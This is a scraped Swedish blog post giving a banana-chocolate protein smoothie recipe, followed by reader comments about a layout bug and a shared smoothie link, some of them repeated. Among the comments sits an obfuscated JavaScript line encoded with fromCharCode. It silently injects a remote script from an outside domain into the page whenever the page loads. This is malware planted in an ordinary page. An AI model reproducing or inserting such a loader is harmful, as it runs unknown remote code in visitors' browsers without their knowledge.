Banan & Chocolate smoothie! Smoothie kan man göra i oändlighetens oändlighet! Det är bara fantasin som sätter gränserna ☺️
Jag tycker att det är väldigt gott till mellanmål, och dricker det ibland som mellis efter träning.
Efter träning vill jag säkra upp mitt protein och kan då göra en proteinsmoothie.
Recept, inget komplicerat! Snabbt gott och väldigt enkelt! 😘
2 Frysta bananer🍌, 1 mango, en halv näve frysta hallon, 1 dl choklad protein, tillsammans med 1.5 dl mandelmjölk (osötad!) och en halv dl vanilj-lättkvarg.
Blanda i mixerna, häll upp i glaset och njut! En riktig energibomb som passar perfekt efter träning!
Detta räcker till nästa tre stora glas (som du ser på bilden) så den ena sparar jag i kylen till senare☺️
Det där händer ofta på bloggar, när man läser med mobilen. Det inträffar när man läser svar på kommentarer, eller längre dialoger.
Vet att man kan göra inställningar på mobilen, så det handlar inte om bloggarna i sig. Nu minns jag inte riktigt, då jag kollar i datorn, när det försvinner åt höger. Men goggla.
kramisar
Det där händer ofta på bloggar, när man läser med mobilen. Det inträffar när man läser svar på kommentarer, eller längre dialoger.
Vet att man kan göra inställningar på mobilen, så det handlar inte om bloggarna i sig. Nu minns jag inte riktigt, då jag kollar i datorn, när det försvinner åt höger. Men goggla.
kramisar
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Hej alla här på bloggen! Är det någon mer än jag som får kommentarsfältet ut till höger o ur bild emellanåt? Mvh Charlotte!
Det där händer ofta på bloggar, när man läser med mobilen. Det inträffar när man läser svar på kommentarer, eller längre dialoger.
Vet att man kan göra inställningar på mobilen, så det handlar inte om bloggarna i sig. Nu minns jag inte riktigt, då jag kollar i datorn, när det försvinner åt höger. Men goggla.
kramisar
Tack för svar! Trodde det var på just denna denna blogg då jag följer rätt många o aldrig problem där. Men men..
Jag har bett portalen att kolla upp det ☺️
Ja samma här. Så irriterande, vet inte varför. Går det att fixa?
Så gott
Hej alla här på bloggen! Är det någon mer än jag som får kommentarsfältet ut till höger o ur bild emellanåt? Mvh Charlotte!
Det där händer ofta på bloggar, när man läser med mobilen. Det inträffar när man läser svar på kommentarer, eller längre dialoger.
Vet att man kan göra inställningar på mobilen, så det handlar inte om bloggarna i sig. Nu minns jag inte riktigt, då jag kollar i datorn, när det försvinner åt höger. Men goggla.
kramisar
Tack för svar! Trodde det var på just denna denna blogg då jag följer rätt många o aldrig problem där. Men men..
Jag har bett portalen att kolla upp det ☺️
Ja samma här. Så irriterande, vet inte varför. Går det att fixa?
Så gott
Detta är min godaste smoothie!
Kram
nouw.com/gourmettjejen/frukost-med-en-mattande-smoothie-26104377
Sorry här kommer den igen:-))
http://nouw.com/gourmettjejen/frukost-med-en-mattande-smoothie-26104377
Detta är min godaste smoothie!
Kram
nouw.com/gourmettjejen/frukost-med-en-mattande-smoothie-26104377
Sorry här kommer den igen:-))
https://nouw.com/gourmettjejen/frukost-med-en-mattande-smoothie-26104377